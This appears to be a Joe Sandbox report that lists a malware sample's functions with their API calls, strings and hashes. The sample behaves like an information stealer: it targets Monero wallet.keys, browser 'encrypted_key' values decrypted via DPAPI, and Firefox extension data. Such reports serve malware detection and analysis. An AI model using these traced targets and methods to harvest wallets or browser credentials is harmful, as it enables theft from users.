Opcode Fuzzy Hash: 3bad7609070273db6882b7a6c231076065f27c7bcd8a32f96a9e8caac959deb0
Instruction Fuzzy Hash: C21151B1A44209EBD710CF94DD49FBBBBB8FB44B10F104159F625B7280D7B458009FA1

Function 00D212A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D212B4
RtlAllocateHeap.NTDLL(00000000), ref: 00D212BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00D212D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00D212F5
RegCloseKey.ADVAPI32(?), ref: 00D212FF

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 2d36256ec8b499a8892cf89423aa33c55bcaa405836ac4159b44262f235cbc11
Instruction ID: fe0f5272784c1385784da8ae37325b68c69a8fe6474b7ec6edb8ac2f772295ce
Opcode Fuzzy Hash: 2d36256ec8b499a8892cf89423aa33c55bcaa405836ac4159b44262f235cbc11
Instruction Fuzzy Hash: 990136B9A4020CFBDB00DFE0DC49FAEB7B8EB48701F008155FA15A7280D6B0AA019F51

Function 00D2A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0184A0B8,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00D2A0BD
LoadLibraryA.KERNEL32(0184DF48), ref: 00D2A146

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D3A820: lstrlen.KERNEL32(00D24F05,?,?,00D24F05,00D40DDE), ref: 00D3A82B
Part of subcall function 00D3A820: lstrcpy.KERNEL32(00D40DDE,00000000), ref: 00D3A885

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

SetEnvironmentVariableA.KERNEL32(0184A0B8,00000000,00000000,?,00D412D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00D40AFE), ref: 00D2A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00D2A0B2, 00D2A0C6, 00D2A0DC

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: fbd5024e89b9188a49ab3b3a6e1ea387c1cdececf87e2e8a1da196643ad85c30
Instruction ID: 5f122728d1ea21f329392bf451e1c295b2151f9418bdc5bd95e7a37fb135dd46
Opcode Fuzzy Hash: fbd5024e89b9188a49ab3b3a6e1ea387c1cdececf87e2e8a1da196643ad85c30
Instruction Fuzzy Hash: C64163B1901209AFC705EF68FD55AA93374FB15305F080118F515B32A1EBB65944EF73

Function 6C653060 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Strings

a.8/, xrefs: 6C65306A

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID: a.8/
API String ID: 4291168024-2801666753
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Function 00D2A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

Part of subcall function 00D38B60: GetSystemTime.KERNEL32(00D40E1A,01840AB8,00D405AE,?,?,00D213F9,?,0000001A,00D40E1A,00000000,?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D38B86

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D2A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00D2A3FF
lstrlen.KERNEL32(00000000), ref: 00D2A6BC

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

DeleteFileA.KERNEL32(00000000), ref: 00D2A743

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 2b9328caa6ec9ae8f9836fcc085a5b5eeab1f4d1d5bf758d1365c62f1c33b5be
Instruction ID: c9d64f76c538b4353a20592b5aebdd727d28f5005bc478fa6ef90bf56593e7ce
Opcode Fuzzy Hash: 2b9328caa6ec9ae8f9836fcc085a5b5eeab1f4d1d5bf758d1365c62f1c33b5be
Instruction Fuzzy Hash: 51E1DA72A10118ABDB05FBA8DC92EEE7338EF14300F508169F556B6091EF706A49DF76

Function 00D2D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

Part of subcall function 00D38B60: GetSystemTime.KERNEL32(00D40E1A,01840AB8,00D405AE,?,?,00D213F9,?,0000001A,00D40E1A,00000000,?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D38B86

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D2D801
lstrlen.KERNEL32(00000000), ref: 00D2D99F
lstrlen.KERNEL32(00000000), ref: 00D2D9B3
DeleteFileA.KERNEL32(00000000), ref: 00D2DA32

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ee8469065f44f16ac6a9db2fdfe8f0865497a676e8b64d361ad185406c1ea423
Instruction ID: d803a63894aeeed8f8dbb8d7179364d13eea58978dfad5ba229281b89aac3811
Opcode Fuzzy Hash: ee8469065f44f16ac6a9db2fdfe8f0865497a676e8b64d361ad185406c1ea423
Instruction Fuzzy Hash: 0081EB72A10118ABCB04FBA8DC96EEE7338EF14300F504169F557B6091EF746A09DBB2

Function 00D2F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

Part of subcall function 00D299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D299EC
Part of subcall function 00D299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D29A11
Part of subcall function 00D299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D29A31
Part of subcall function 00D299C0: ReadFile.KERNEL32(000000FF,?,00000000,00D2148F,00000000), ref: 00D29A5A
Part of subcall function 00D299C0: LocalFree.KERNEL32(00D2148F), ref: 00D29A90
Part of subcall function 00D299C0: CloseHandle.KERNEL32(000000FF), ref: 00D29A9A

Part of subcall function 00D38E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D38E52

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00D41580,00D40D92), ref: 00D2F54C
lstrlen.KERNEL32(00000000), ref: 00D2F56B

Strings

moz-extension+++, xrefs: 00D2F5AD
^userContextId=4294967295, xrefs: 00D2F59C

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: a8bdc398d1e0a39c2b234b02be706310b123a53fc8ed41f677d3e44217b9785c
Instruction ID: 65c1a1336b35242a7d4b0019f2c75da72264804d311fed865d54de106eecc35c
Opcode Fuzzy Hash: a8bdc398d1e0a39c2b234b02be706310b123a53fc8ed41f677d3e44217b9785c
Instruction Fuzzy Hash: 3151F175E10118ABDB04FBA8DC96DED7778EF54300F408528F85667191EF346A09CBB2

Function 00D29CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D299EC
Part of subcall function 00D299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D29A11
Part of subcall function 00D299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D29A31
Part of subcall function 00D299C0: ReadFile.KERNEL32(000000FF,?,00000000,00D2148F,00000000), ref: 00D29A5A
Part of subcall function 00D299C0: LocalFree.KERNEL32(00D2148F), ref: 00D29A90
Part of subcall function 00D299C0: CloseHandle.KERNEL32(000000FF), ref: 00D29A9A

Part of subcall function 00D38E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D38E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00D29D39

Part of subcall function 00D29AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D24EEE,00000000,00000000), ref: 00D29AEF
Part of subcall function 00D29AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00D24EEE,00000000,?), ref: 00D29B01
Part of subcall function 00D29AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D24EEE,00000000,00000000), ref: 00D29B2A
Part of subcall function 00D29AC0: LocalFree.KERNEL32(?,?,?,?,00D24EEE,00000000,?), ref: 00D29B3F

Part of subcall function 00D29B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00D29B84
Part of subcall function 00D29B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00D29BA3
Part of subcall function 00D29B60: LocalFree.KERNEL32(?), ref: 00D29BD3

Strings

DPAPI, xrefs: 00D29D89
, xrefs: 00D29DC1
"encrypted_key":", xrefs: 00D29D30

Memory Dump Source

